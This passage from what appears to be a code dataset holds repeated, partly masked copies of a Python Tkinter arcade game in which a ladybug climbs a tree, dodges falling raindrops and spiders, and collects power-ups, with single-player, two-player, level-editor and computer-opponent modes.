switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\n<function token>\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * 